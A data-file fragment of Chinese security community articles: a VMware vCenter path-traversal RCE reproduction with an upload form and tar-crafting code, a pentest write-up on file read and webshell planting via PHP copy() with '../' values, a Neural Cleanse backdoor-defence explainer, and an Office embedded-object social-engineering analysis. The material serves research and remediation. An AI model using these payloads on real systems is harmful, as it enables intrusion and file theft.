text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：图南&Veraxy @ QAX CERT
好久不见，已经很久没有写文章了，但我还有一颗想写文章的心。漏洞的复现总是冲着最终的目标去不断尝试，但是其中肯定会遇到很多疑问。每次遇到疑问都会挖一些坑留着通过学习慢慢填，但因为工作性质变更的原因，很多坑留着也就留着了，填的很少。最近逼着自己去填一点坑，至少作为笔记积累一些知识，然后有机会写出来讲明白它（讲真我一直觉得讲明白一件事儿比自己明白更难且更耗时间）虽然刚刚填了一个，也算是良好的开始吧，至少让大家知道我还没有丢掉安全研究。那么就从vCenter
RCE 漏洞开始吧。
对了，文章不包含深入的漏洞分析，因为漏洞分析部分漏洞的发现者已经写的相当详细了，看[Unauthorized RCE in VMware
vCenter](https://swarm.ptsecurity.com/unauth-rce-vmware/)这篇文章即可。
声明：本篇文章由 图南&Veraxy @ QAX CERT原创，仅用于技术研究，不恰当使用会造成危害，严禁违法使用 ，否则后果自负。
## 文章导航
### 避开所有坑快速复现这个漏洞
可浏览 0x01 漏洞环境搭建——>按照以下方式搭建一定能成功和 0x02 漏洞PoC构造——> 按照以下方式构造一定能成功
### 通过问题引导方式浏览
如果你也遇到了类似问题看这里
搭建环境总是失败
浏览 0x01 漏洞环境搭建——>坑1:此方法不要使用7.0.x的iso镜像，会有一个无解的BUG！
坑2:虚拟机网络适配器选择NAT模式无法保存主机名
手动修改上传数据包导致失败和使用macOS的tar打包会出问题
浏览 0x02 漏洞PoC构造——>坑2：为什么不能直接修改数据包？
为什么会有zip的PoC，原因是什么？（这个没空研究了，大佬们继续～）
## 文章参考
1. https://en.wikipedia.org/wiki/Tar_(computing)
2. https://swarm.ptsecurity.com/unauth-rce-vmware/
3. https://www.gnu.org/software/tar/manual/html_node/Standard.html
4. https://www.freebsd.org/cgi/man.cgi?query=tar&apropos=0&sektion=5&manpath=FreeBSD+7.0-RELEASE&arch=default&format=html
## 漏洞环境搭建
遇到一个漏洞，我总会想这个应用/软件/产品在生产环境中跑起来是什么样子的，小一点的还好说，我能想象到一些使用场景，但是大一点的和我接触不深的领域就比较苦恼了。vCenter默认和ESXi搭配使用，这里强烈建议大家有条件去搭建ESXi和vCenter配合使用。可参考：【Vmware学习教程五】VMware
vCenter 6.7安装及群集配置介绍（一）[https://www.miensi.com/352.html]
但是这两个都是大家伙，消耗内存非常大，我没有继续研究这两个大家伙配合的情况（qiong，高配电脑太贵了），下面介绍一种相对快速的搭建方式。
### 按照以下方式搭建一定能成功
**第一阶段安装**
从VMware官网[https://my.vmware.com/group/vmware/patch#search]下载VMware-VCSA-all-6.7.0-17028579.iso，一定先下载这个版本不要下载7.0，为啥不能下7.0后面会讲到。
然后挂载ISO文件后会看到有个ova文件：
我们要用将它导入到VMware虚拟机安装，我这里用的VMware Fusion Player 12.0.0：
部署选项选择Tiny即可：
然后按照引导安装，网络配置参考宿主机，设置成相同的网段、相同的网关和DNS，以便后续顺利访问。
假如宿主机IP为192.168.18.2，网关和DNS均为192.168.18.1，子网掩码为255.255.255.0,那么我们就设置如下：
然后配置SSO用户密码、root用户和密码，即可完成安装。
这里有个小坑：root用户名和密码不要很复杂，我这里用的root/root。之前设置了有大小写和特殊字符的密码死活登录不上，我以为我自己把密码忘记了，但是重装依然不行，暂不明原因，这个不深究了。
然后再继续即可导入成功，虚拟机会自动启动进行初始化。
此时查看下虚拟机网络适配器模式应为桥接模式，不用更改。初始化OK了如下图：
此时域名为 photon-machine，我们没有对应的DNS，所以手动修改域名为刚才设置的IP（192.168.18.5）。按“F2”手动修改域名，“enter”进入网络配置：
进入DNS配置将主机名从默认的photon-machine修改为IP地址（192.168.18.5）：
然后重启网络，等一会儿：
回到了刚刚的页面，这时之前的域名已经变成了IP：
至此第一阶段安装已经完成了，这个过程顺利的话5分钟搞定，主要时间花费在第一次启动虚拟机初始化的过程。
**第二阶段安装**
访问https://192.168.18.5:5480/继续配置：
选择设置后用root账号登陆：
照向导继续配置，注意在网络配置阶段把系统名称修改为IP：
这里又有一个小坑，系统名称这里应该会检查是否能真正访问到这个地址，所以我们使用桥接模式，前面修改主机名为IP地址的操作都是为了这一步能顺利，否则这里很容易出现“无法保存主机名”的错误。
然后设置SSO密码，一路下一步，就基本不会再遇到什么坑了。 第二阶段开始安装的时候基本就是纯等待，会比较慢，去喝口水、冲杯咖啡、泡个茶、吃个饭、睡一觉吧……
第二阶段安装完成会打开443端口，就可以正常访问vCenter也可以正常调漏洞了。
### 坑1:此方法不要使用7.0.x的iso镜像，会有一个无解的BUG！
在刚开始复现漏洞的时候，我很自然的选择了修复版本的前一个受影响版本：7.0.1，但是第二阶段安装无论使用什么域名和什么IP地址作为系统名称，都会出现无法保存IP设置的错误：
抱着有问题一定是我的问题的想法重装、改配置、再重装、再改配置、再重装、再改配置。。。都无法解决这个问题。最后我去谷歌搜到了这样的结果：
翻译下来就是在浏览器中通过5480端口进行网络配置会报错无法保存IP设置，（正常安装应该不会有类似问题）解决方案：无…… 快速搭环境的话绕开7.0.x吧。
### 坑2:虚拟机网络适配器选择NAT模式无法保存主机名
这个坑应该是我配置的问题吧，可能不算普遍但是已经有两个人遇到了相同问题了，表现为无论如何改主机名都提示无法保存主机名，也尝试过改其他网络配置、DNS等，没有解决，遂使用桥接模式绕开。
## 漏洞PoC构造
### 按照以下方式构造一定能成功
**使用HTML构造文件上传页面**
漏洞刚传出来还没有什么细节的时候，我就从一些截图中注意到了Content-Type: multipart/form-data，不同于传统的Form表单application/x-www-form-urlencoded，multipart/form-data更适合发送大量二进制数据（文件）或非ASCII数据。关于这两种Content-Type的详细信息，可阅读W3C的相关文档Forms。根据漏洞触发点的代码可以得知，需要构造一个使用multipart/form-data的文件上传，并且上传控件的name应为uploadFile：
所以可以直接构造一个上传控件直接上传文件到漏洞点：
<html>
<body>
<form id="upload-form" action="https://192.168.18.5/ui/vropspluginui/rest/services/uploadova" method="post" enctype="multipart/form-data" >
<input type="file" id="upload" name="uploadFile" /> <br />
<input type="submit" value="Upload" />
</form>
</body>
</html>
**使用代码构造tar文件**
继续看漏洞触发点代码，可以看出真正导致解压文件到任意路径的entry.getName()目的是迭代每一个压缩实体时获取文件名，可能这样说并不清楚，举个例子，文件a.txt和文件b.txt被压缩到了文件c.tar，在解压时会分别获取c.tar中的a.txt文件名和b.txt文件名，拼接到了/tmp/unicorn_ova_dir中。那么若将a.txt换成../a.txt就将a.txt这个文件释放到了/tmp目录下。
但是实际上你很难创建一个名为../a.txt的文件并将其压缩成tar，所以可以通过以下代码去创建一个压缩包并释放到我们想释放的地方：
import tarfile
import os
from io import BytesIO
with tarfile.open("test.tar", 'w') as tar:
payload = BytesIO()
data = 'hacked_by_tunan'
tarinfo = tarfile.TarInfo(name='../../home/vsphere-ui/hacked_by_tunan')
f1 = BytesIO(data.encode())
tarinfo.size = len(f1.read())
f1.seek(0)
tar.addfile(tarinfo, fileobj=f1)
tar.close()
payload.seek(0)
这里面有两个坑，小坑1：我们不能直接将文件释放到根目录下，因为这个接口只有vsphere-ui用户的权限，我们只能释放到vsphere-ui用户能写入文件的地方。大坑2：我们不能通过BurpSuite等工具直接改数据包，这个坑我要详细讲一讲。
### 坑2：为什么不能直接修改数据包？
假如我们自己使用Linux打包tar，然后上传抓包，可以看到这样的数据包：
明白了漏洞原理，很容易就会想到直接将最开始的文件名改成../的形式去释放到对应的目录，但是最终会返回FAILED：
我相信复现漏洞卡在这里的肯定不在少数，为什么会这样呢？这里需要深入研究一下tar文件了。
### tar文件构成
我们不妨使用任意HAX编辑器打开我们的tar压缩文件看一看：
看起来挺乱的？不慌，按照FreeBSD的文档和源码对比分解一下即可，并不难。
众所周知，tar文件可以将一个或多个文件或目录打包成一个单独的文件，作为一个通用的文件格式，需要保证任何系统和软件都能正确的解释文件tar文件的每个字节的定义必须明确。
tar文件是由一系列文件对象组成，每个文件对象包含一个512字节的头和实际文件数据。本着如无必要，勿增实体的原则，我们本文只讨论上面poc.tar单个文件的头部分。
头部分分别包含以下内容：
名称 | 释义 | 占用字节 | 字段含义
---|---|---|---
name | 文件名/路径名 | 100 | 以空值结尾的字符串，可以是文件名也可以是路径名
mode | 文件模式 | 8 | 八进制数字表示的文件格式，一般为三种不同用户类型和三种不同权限的组合，常见的有644、777等
uid | 用户ID | 8 | 八进制表示的文件所有者用户ID
gid | 群组ID | 8 | 八进制表示的文件所有者群组ID
size | 文件大小 | 12 | 八进制表示的文件大小
mtime | 文件修改时间 | 12 | 从1970年1月1日到文件修改时间的秒数，八进制表示
checksum（划重点） | 头的校验和 | 8 |
为六个ASCII八进制数字后面跟一个空（0x00）和一个空格（0x20）若计算头的校验和，需要先将512字节头中的校验和字段的每个字节全部设置为空格（0x20），然后再将所有头部字节全部相加，输出为无符号整型，转换成八进制填充到前6字节中
typeflag | 存档文件类型 | 1 | 类型指示作用，早期版本为linkflag，0为常规文件，1为硬链接，2为符号连接、3为字符特殊文件等
linkname | 链接名 | 100 | 链接文件名，常规文件为空0x00
magic | 魔术头 | 6 | 固定为ustar跟一个空格0x20（版本不同会有所不同）
version | 版本 | 2 | 固定为空格0x20后面跟一个空0x00（版本不同会有所不同）
uname | 用户名 | 32 | 以空值结尾的字符串，用来表示用户名
gname | 群组名 | 32 | 以空值结尾的字符串，用来表示群组名
devmajor | 设备主编号 | 8 | 字符设备或块设备输入的主要编号
devminor | 设备次编号 | 8 | 字符设备或块设备输入的次要编号
prefix | 前缀 | 155 |
路径名前缀，如果第一部分name中的路径名过长，大于100字节，可以将其以任意/字符拆分，放置于此处。解析器应将其拼接获取完整路径名
pad | 填充 | 12 | 为了凑完整的512字节，填充12个字节的0x00
那么我们可以把上面的文件分解如下：
字段 | 值 | 值（ASCII表示）
---|---|---
name | 0x2E 0x2F 0x31 0x2E 0x74 0x78 0x74 0x00…… | ./1.txt
mode | 0x30 0x30 0x30 0x30 0x36 0x34 0x34 0x00 | 0000644
uid | 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00 | 00000000
gid | 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00 | 00000000
size | 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x32 0x30 0x00 |
00000000020
mtime | 0x31 0x34 0x30 0x32 0x31 0x31 0x32 0x34 0x32 0x31 0x30 0x00 |
14021124210
checksum | 0x30 0x31 0x30 0x35 0x36 0x35 0x00 0x20 | 010565
typeflag | 0x30 | 0
linkname | 0x00 0x00…… | ——
magic | 0x75 0x73 0x74 0x61 0x72 0x20 | ustar
version | 0x20 0x00 |
uname | 0x72 0x6F 0x6F 0x74 0x00 0x00…… | root
gname | 0x72 0x6F 0x6F 0x74 0x00 0x00…… | root
devmajor | 0x00 0x00…… | ——
devminor | 0x00 0x00…… | ——
prefix | 0x00 0x00…… | ——
pad | 0x00 0x00…… | ——
filecontent | 0x68 0x61 0x63 0x6B 0x65 0x64 0x5F 0x62 0x79 0x5F 0x74 0x75 0x6E
0x61 0x6E 0x00 0x00…… | hacked_by_tunan
再次看一下刚才那个文件在HAX编辑器下的截图是不是瞬间就不那么懵了？
那么详细说一下刚才划重点的checksum，这个位置是整个头部的校验和，想计算它的值，需要先把这checksum这八位填充为空格（0x20）然后再把整个头部字节相加成无符号整型，然后再换算成八进制，填充到checksum字段的前六位，第七位和第八位分别填充空（0x00）和空格（0x20），即组成了完整的文件头部。
所以我读tar的各种实现的时候可以看到这样的代码：
def calc_chksums(buf):
"""Calculate the checksum for a member's header by summing up all
characters except for the chksum field which is treated as if
it was filled with spaces. According to the GNU tar sources,
some tars (Sun and NeXT) calculate chksum with signed char,
which will be different if there are chars in the buffer with
the high bit set. So we calculate two checksums, unsigned and
signed.
"""
unsigned_chksum = 256 + sum(struct.unpack_from("148B8x356B", buf))
signed_chksum = 256 + sum(struct.unpack_from("148b8x356b", buf))
return unsigned_chksum, signed_chksum
# …… #
buf = struct.pack("%ds" % BLOCKSIZE, b"".join(parts))
chksum = calc_chksums(buf[-BLOCKSIZE:])[0]
buf = buf[:-364] + bytes("%06o\0" % chksum, "ascii") + buf[-357:]
# …… #
还有这样的代码：
unsigned int calculate_checksum(struct tar_t * entry){
// use spaces for the checksum bytes while calculating the checksum
memset(entry -> check, ' ', 8);
// sum of entire metadata
unsigned int check = 0;
for(int i = 0; i < 512; i++){
check += (unsigned char) entry -> block[i];
}
snprintf(entry -> check, sizeof(entry -> check), "%06o0", check);
entry -> check[6] = '\0';
entry -> check[7] = ' ';
return check;
}
还有我手写的计算已生成文件头部校验和的代码
const fs = require('fs');
fs.readFile('test.tar', function (err, data) {
if (err) throw err;
const headers = data.slice(0, 512);
const body = data.slice(512);
let sum = 8 * 0x20
for (let i = 0; i < 148; i++)
sum += headers[i]
for (let i = 156; i < 512; i++)
sum += headers[i]
console.log(sum.toString(8));
})
那么刚才的数据包是真的不能手动改么？非也！同时修改文件名部分和校验和即可。以下是数学题：
假如我们将./1.txt修改为../1.txt使其进入/tmp目录下，已知.十六进制表示为0x2E，原校验和为
八进制10565。原始数据包name字段去掉一位空字节（0x00）补上.（0x2E），然后重新计算校验和。换算 八进制
原校验和10565到十六进制0x1175加十六进制0x2E得0x11A3，再换算成 八进制10643……很快啊，新的校验和出来了！
大胆修改数据包吧！
那么关于在macOS上使用自带tar软件打包后修改包失败问题，也是校验和错误的问题。他们都遵守了相同的规范，自行调试下即可。
## 总结&尾巴
这个漏洞从原理到复现都不算难，所以文章本身没有什么创新的，更像是我的一点研究笔记并想办法将我研究的内容讲出来讲明白，或者能帮助大家解答一些之前复现时候的疑问让大家看了能恍然大明白也算这篇文章的一点贡献。通过这篇文章，我也想传递一种观点，漏洞研究其实不应该只盯着漏洞本身，漏洞可以扩展的知识点太多了：
偏应用一点：了解这个软件/组件/中间件是干什么的的、尝试搭建起来写点代码看看他们跑起来的样子。
偏底层一点：研究漏洞接触到的相关知识点，可能是Linux/Windows相关的，文件相关的，甚至是某个协议规范、某个算法的实现、某个数据结构、某种设计思想。
偏攻击一点：漏洞如何EXP化、如何回显搞定不出网的环境、如何让内网设备无感知攻击的存在、如何加载内存马等。
偏漏洞挖掘：去找一下类似的利用点，或者这个新的软件/组件/中间件是否能带给你一些新的漏洞挖掘思路。 ……
总之太多知识和事情可以从一个漏洞扩展出来，学海无涯，技术无边，学无止境，你我共勉。 | 社区文章 |
### 渗透测试tips：两处有趣的文件上传到getshell
#### 0x00 写在前面
前阵子某安全厂商对我司的某系统进行了渗透测试，报告中有两处由于文件上传导致的getshell。在复现和研究这两处的漏洞过程中，觉得漏洞挺有意思，几个漏洞组合在一起getshell，大佬的思路也挺牛逼的，故做简单的一个记录。
两处漏洞产生的功能点都为：个人资料编辑处的上传头像功能（两处不同的上传头像接口）。该两处上传头像的接口类似，上传流程如下：先将头像图片上传到阿里云的OSS，随后有个头像裁剪功能，裁剪头像将头像下载到本地，保存到根目录。
#### 0x01 漏洞接口1-漏洞详情
##### （1）漏洞1：任意文件读取
该接口(`/invite/uploadavatar`)的正常上传流程如下：
先将图片上传到阿里云OSS，接口如下：
图片上传成功后，界面会弹出裁剪图片：
点击确定，裁剪的接口数据包如下：
该接口四个参数，url参数是阿里云OSS返回的图片url地址。
该url参数未进行校验地址是否合法，故url参数我们可以随意构造。所以很显然，该url参数也存在ssrf。
除了ssrf，url参数我们也可使用file协议构造（原理是源码中使用了copy()函数，后面贴源码我会进行介绍）。
将url参数构造出`file:///etc/passwd`，user_id用base64编码一下。响应包中，会直接返回裁剪后（保存在本地）的url地址，如下图所示：
然后直接访问响应中的url地址:`http:///www.xxx.com/avatar_MQ==`,该文件内容就是`etc/passwd`的内容：
##### （2）代码审计
由于系统中某些功能报错，页面直接返回了代码的绝对路径，所以我们直接可以读取该上传接口控制器的源代码：
可以看到请求包中的参数（`extension、url、user_id`）都没有进行校验。可以看到代码中使用了`copy()`函数，php 的 copy
函数可访问 `file:///`等协议，然后在某个地点回显出文件内容。
> 例如`copy(source,destination)`,就是将文件从 _source_ 拷贝到 _destination_ 。如果成功则返回
> TRUE，否则返回 FALSE。
而传入`copy()`中的两个参数都没有进行校验。copy结束后返回url地址。
copy函数的第二个参数，是由`'$dir'`和`'$new_name'`拼接的，而$new _name参数是由`'avatar_
'`、`'$userId'`和`'$extension'`拼接而成的。
所以我们可以自己写一个控制器，里面包含shell的代码，然后copy到控制器根目录，这样就可以getshell了。
##### （3）getshell
首先，根据我们下载的控制器代码，自己写一个控制器(目的是执行test函数，打印"avatar")：
# 代码结构跟前面file协议读取的控制器代码一样，就自己写了个test()方法
<?php
namespace app\controller;
use My;
use my\api\Controller;
class MyevalController extends BaseController
{
private $inviteService = false;
private $commonHelper = false;
public function __construct()
{
parent::__construct();
}
public function test()
{
exit("avatar");
}
}
将编写的控制器脚本上传到我们自己的服务器上，随后构造extension参数：
前文源码中我们已经知道copy函数的第二个参数(`$upload_file`)，结构为：
`$dir + 'avatar_' + $userId + $extension`
源码中`$dir`的值为'/tmp/'，若请求包中的user_id参数为345，extension参数为789，则`$upload_file`参数的值为：
`/tmp/avatar_345789`。
那我们构造user_id参数为345，extension参数为：`/../../data/www/xx/controller/MyTestController.php`，如下图所示（当然，user_id参数也没有校验，我们也可以把构造的内容放在user_id后面）：
则`$upload_file`参数就是这样的：
`/tmp/avatar_345/../../data/www/xx/controller/MyTestController.php`
这个upload_file参数的路径就有意思了，copy函数执行的时候，先将我们的MyTestController.php拷贝到`/tmp/avatar_345/`目录，然后执行`/../../`，返回两个上级目录，又回到了当前目录，然后再进入到`/data/www/xx/controller/`目录下。所以最终我们的控制器就直接拷贝在了`/data/www/xx/controller/`下。
有点类似linux里面的这种（两个`/../`执行，又回到当前目录）：
所以我们直接浏览器访问我们的控制器：
`http://www.xxxx.com/MyTestController/test`
执行test方法，页面上打印"avatar"。
故如何getshell，也就很简单了。
#### 0x02 漏洞接口2-漏洞详情
第二个接口跟第一个接口原理一样，不同的是，接口2的代码中先对url进行了校验，然后直接调用了接口1的uploadAvatar代码：
判断了url的host是否为`www.xxxx.com`，如果不是的就直接返回“地址有误”。
绕过该限制的方法是：我们直接在上传头像到阿里云OSS处，就把我们的控制器放在图片内容里（该上传接口未对图片内容进行校验）：
访问阿里云OSS返回的图片地址，可以看到图片内容是我们控制器的代码：
其他的就跟第一个接口一样，将url参数构造为阿里云OSS返回的包含我们控制器代码地址，extension参数也是一样，给定控制器的目录。
故拿到shell也是轻而易举了（很显然，这个方法同样可以在漏洞接口1中利用）。
#### 0x03 漏洞修复
在复现和分析完这两个漏洞后，让开发严格限制了：
* user_id只能为数字，不能包含字母和特殊字符；
* extension参数严格过滤点号、斜线等可能造成跨目录访问的字符；
* url参数严格过滤只能http协议、校验url的host白名单、校验图片内容； | 社区文章 |
# 后门防御-Neural Cleanse分析及复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在安全领域，提到防御，其实分为两类，一类是做检测detection，一类是做缓解mitigation，当然最好就是将两类集成在一起。在后门防御领域也是一样，就检测来说，我们要检测模型是否被植入后门，如果被植入了后门，那么攻击的目标标签是什么？发动攻击所需的触发器是什么？
检测之后，就是缓解阶段，或者说修复阶段，对于输入的测试样本，我们可以检测其是否为毒化样本，如果是则直接丢弃；而对于后门模型，则通过修复模型来移除后门。
本文分析并复现后门防御领域最经典的工作之一，发表于S&P上的工作：Neural Cleanse.
## 后门攻击
在安全客上已经有文章介绍过后门攻击的概念，可以前去详细了解。这里再简单回顾一下。
如上图所示，攻击者首先选定目标标签4以及触发器，这里是右下角的白色小正方形，然后对训练集中的随机一批子集做毒化，即将触发器叠加于原样本上，并修改对应标签，之后再在其上训练模型。在测试阶段，如果测试样本带有触发器，则会将其分类到目标标签4，如果不带有触发器，则会进行正常的分类。
## 关键想法
从后门攻击的特性我们知道，不论原样本属于哪个标签，只要其带有触发器，就将生成一个目标标签的分类结果，并且我们知道相比于将样本分类为其他没受感染的标签，将样本分类为目标标签所需要的扰动更小。如果将分类问题看作是在多维空间中创建分区，每个维度捕获一些特征，那么被植入后门的模型相当于在其他标签与目标标签的区域中创建了捷径。我们可以从下面的示意图很直观地发现这一点：
上图是一个简化的一维分类问题，存在3个标签（标签A表示圆，标签B表示三角形，标签C表示正方形）。图上显示了它们的样本在输入空间中的位置，以及模型的决策边界。上面是良性模型，下面是毒化模型。在毒化模型中我们看到，在属于B和C的区域中产生了另一个维度，任何带有触发器的样本在触发维度中都有较高的值（后门模型中的灰色圈），B或C中的任何输入只需要移动一小段距离，就会被错误地分类为A。
这也就意味着，我们可以通过测量从其他区域分类到目标区域的所有输入所需的最小扰动量来检测这些捷径。
## 形式化
我们设将类i的样本分类到类t，所需的扰动是!
如果存在一个触发器，可以将类i的样本分类到类t，那么则有
我们已经说过，不论原先的类别是什么，只要有触发器就能被分类为类t，所以就有：
上式左边的项代表的就是将任意类分类为类t所需的最小扰动
如果触发器存在，那么进一步我们还有下式成立
因此，我们只需要对所有的类别测量
如果找到一个异常小的值，那么就说明存在触发器，此时的i就是后门攻击的目标标签。
## 检测后门
有上面的内容我们已经知道怎么检测了，可以分为三步：
### 步骤1
先给定一个标签i，将其视作目标标签，然后计算
同时通过优化找到Tt
### 步骤2
对于模型的所有标签重复上一步
### 步骤3
在逆向每个标签对应的触发器后，我们用触发器的像素数量作为触发器大小的度量，此时我们使用异常检测算法检测是否存在一个异常小的值，如果存在，那么就说明存在后门，该触发器可以用于触发对应的后门攻击，其对应的标签就是目标标签
那么这里就有一个关键问题了，怎么逆向得到触发器？
## 关键细节
### 逆向触发器
首先定义对样本叠加触发器的一般形式
A表示将触发器叠加于原样本x的函数，Δ表示触发器的pattern，它是一个三维矩阵，和输入图像的维度相同（包括高度、宽度和颜色通道）。m是一个称为mask的2维矩阵，它决定触发器能覆盖多少比率的原图像。mask中的值从0到1不等。当用于特定像素(i,
j)的mi,j=1时，触发器完全重写原始颜色，即
当mi,j=0时，则完全不修改，即
我们的优化过程有两个目标，对于目标标签yt，第一个目标是找到一个触发器(m,
Δ)，它会将原图像错误地分类为yt。第二个目标是找到一个尽可能小的触发器，在这里我们用L1范数来度量触发器的大小，这实际上是一个多目标优化问题，优化过程可以表示如下
上式中f是模型的预测函数；l(·)是测量分类误差的损失函数，这里使用交叉熵；λ是第二个目标的权重。较小的λ对触发器大小的控制具有较低的权重，但会有较高的成功率产生错误分类。X是一组原图像。它来自用户可以访问的良性数据集。
使用Adam优化器进行求解上式
### 异常检测
利用上一小节的方法，我们可以得到每个标签对应的触发器及其L1范数。
接下来需要检测异常值，本文使用了一种基于MAD的技术。首先计算所有数据点与中位数之间的绝对偏差，这些绝对偏差的中值称为MAD，同时提供分布的可靠度量。然后，将数据点的异常指数定义为数据点的绝对偏差，并除以MAD。当假定基础分布为正态分布时，应用常数估计器（1.4826）对异常指数进行规范化处理。任何异常指数大于2的数据点都有大于95%的异常概率。在这里我们将任何大于2的异常指数标记为孤立点和受感染的值。
## 实战
### 训练后门模型
既然要检测后门模型，自然需要先训练得到毒化模型，这里使用GTSRB数据集
German Traffic Sign Recognition Benchmark (GTSRB)
是一个德国交通标志检测数据，通过模式识别技术辅助驾驶员进行交通标识识别。该数据集中的样本都是交通标志
### 定义模型
### 毒化原样本
训练模型
训练10个epoch，可以看到良性样本的准确率和后门攻击的准确率都在不错的水平
## 逆向触发器
得到后门模型后，就用上文介绍的思路通过逆向工程得到触发器
这里的关键在visualize
运行完毕后会对每个标签都生成逆向得到的pattern和mask，以及叠加后得到的最终的触发器
运行如下
得到的mask、pattern、触发器如下所示
以label42，mask如下
pattern如下
## 异常值检测
结果如下
在上文我们已经说了，如果异常指数大于2就是异常，这里是2.97，说明该模型是后门模型，此外从结果可以看出这里检测到33是目标标签
## 总结
这个工作是后门防御领域的经典之作，后续很多做防御的工作都是受此启发，从这里引申开来的。其方案中的一些关键想法一直在后门防御领域应用着，如：
1.如果目标标签是A，则将其他类别的样本分到类A所需的扰动小于分到其他类别所需的扰动；
2.可以在黑盒情况下逆向触发器，这一点也有很多工作在做，如[3-5]
3.在逆向触发器的基础上，为训练集样本加上触发器并打上正确的标签进行学习就可以实现后门模型的修补
等一系列开创性的想法都在指引着该领域后续的发展。
当然其也存在很多不足，尤其是需要为每一类都重复逆向工程的步骤，耗费的时间、算力较大，一直在被后续的防御方案指出。
## 参考
1.Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural
Networks
2.<https://github.com/bolunwang/backdoor/>
3.POISONED CLASSIFIERS ARE NOT ONLY BACKDOORED, THEY ARE FUNDAMENTALLY BROKEN
4.Reverse engineering imperceptible backdoor attacks on deep neural networks
for detection and training set cleansing
5.NNoculation: Broad Spectrum and Targeted Treatment of Backdoored DNNs. | 社区文章 |
原文：<https://securify.nl/blog/SFY20180801/click-me-if-you-can_-office-social-engineering-with-embedded-objects.html>
**简介**
* * *
对于攻击者来说，Microsoft
Office文档为诱骗受害者运行任意代码提供了多种渠道。当然，攻击者虽然可以尝试利用Office漏洞，但更常见的做法，却是向受害者发送包含恶意宏的Office文档，或包含嵌入式（Packager）可执行文件的文档。
为了加大这些攻击的难度，微软一直在向Office中添加各种旨在防止受害者运行恶意代码的安全措施。其中，一个众所周知的措施，便是在从互联网下载并打开文档时，会自动进入[受保护视图模式](https://support.office.com/en-us/article/what-is-protected-view-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653
"受保护视图模式")。同时，Office 2016和Office
365还提供了其他安全措施（如GPO），以便在从Internet下载文档时完全[禁用宏](https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/
"禁用宏")。此外，[Packer文件扩展名黑名单](https://support.office.com/en-us/article/packager-activation-in-office-365-desktop-applications-52808039-4a7c-4550-be3a-869dd338d834?ui=en-US&rs=en-US&ad=US
"Packer文件扩展名黑名单")还能阻止位于黑名单中的文件类型被运行。
当然，这些保护措施并不完美，但至少有助于减少这类攻击。最近，[Matt Nelson](https://twitter.com/enigma0x3
"Matt Nelson")演示了[SettingContent-ms文件](https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 "SettingContent-ms文件")可用于运行任意命令。这些文件最初不在文件扩展名黑名单中，因此可用于欺骗受害者从Office文档运行嵌入的SettingContent-ms文件。这种文件类型现已添加到了黑名单中，从而为Office
2016/365用户提供保护。在2018年8月份，微软还发布了一个[补丁](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8414
"补丁")程序：如果这些文件不是从%WinDir%\ImmersiveControlPanel中打开的话，系统就会阻止其打开行为。
在这篇文章中，我们将会为读者详细展示另外两种诱骗受害者运行恶意代码的方法。不过，这两种方法都需要用户某种程度的参与。就像MSRC指出的那样，“这种技术需要大量的社会工程：受害者必须对安全警告说“Yes”，并且不在保护模式下运行”，因此，微软不会针对该问题发布相应的补丁程序。
**Shell.Explorer.1**
* * *
Shell.Explorer.1 OLE对象（CLSID
{EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}）常用于嵌入式Windows资源管理器或嵌入式Internet
Explorer。我们可以将这个OLE对象嵌入Office文档中，并作为持久对象保存在相应的文档中。对于持久化的Shell.Explorer.1对象来说，会使用一种专有格式，并且，我们可以在偏移量76（0x4C）处可以看到一个熟悉的结构。并且，位于该偏移处的结构看起来好像是ShellLink（LNK）结构[[MS-SHLLINK](https://msdn.microsoft.com/en-us/library/dd871305.aspx "MS-SHLLINK")]。
在初始化（加载）Shell.Exporer.1对象时，ShellLink结构将被解析为常规LNK文件。然后，该对象会从ShellLink获取ID列表，并使用它来导航（浏览）到提供的文件、（shell）文件夹或网站。
图1：来自ShellLink结构的ID列表被传递给CWebBrowserOC::BrowseObject()函数
**嵌入式Windows资源管理器**
* * *
在提供文件夹路径时，该对象的行为类似于Windows资源管理器。利用它不仅可以浏览文件或文件夹，甚至可以通过双击来执行文件。攻击者可能会滥用该功能来嵌入Windows资源管理器，以便打开包含可执行文件的远程共享。如果攻击者可以说服受害者双击处于他们控制之下的文件，就可以通过远程共享运行可执行代码。
这种攻击手法貌似很难实现。首先，OLE对象需要单击才能激活，其次，用户需要双击OLE对象才能实际获得可用的Windows资源管理器视图。最后，用户还需要双击Windows资源管理器视图中的文件才行。
在管理员限制浏览某些文件夹或驱动器的情况下，使用嵌入式Windows资源管理器对象会很方便。例如，如果对C：驱动器的访问受到限制的话，本地用户可以使用包含嵌入式Windows资源管理器的Office文档来绕过该限制。此外，该对象还可用于窃取NetNTLM哈希值，但由于这对于Office文档来说并非难事，因此，使用点击激活的OLE对象并没有什么意义。
图2：使用嵌入式Windows资源管理器浏览本地计算机
**Internet Explorer**
* * *
当Shell.Explorer.1用于嵌入式Internet
Explorer时，事情会变得更有趣。除了可以在文档中嵌入Web浏览器之外，它还能用来浏览本地计算机上的文件，以及浏览远程位置（共享文件夹和网站）上的文件。当然，如果没有用户交互的话，这些都是不可能的。此外，单击激活也适用于该模式，单击该对象将触发Internet
Explorer的文件下载功能，这意味着将向用户显示“文件下载”对话框。如果用户单击“运行”或“打开”（取决于文件格式）按钮的话，就会执行相应的文件。
图3：单击嵌入式Internet Explorer对象后所显示的“文件下载”对话框
不过，某些文件类型（如EXE文件）会触发另一个警告对话框。但是，通过使用其他可执行文件类型，可以轻松绕过该对话框，例如Matt发现的SettingContent-ms文件（其他文件格式也可以）就可以达到这个目的。
图4：某些文件类型将触发另一个警告对话框
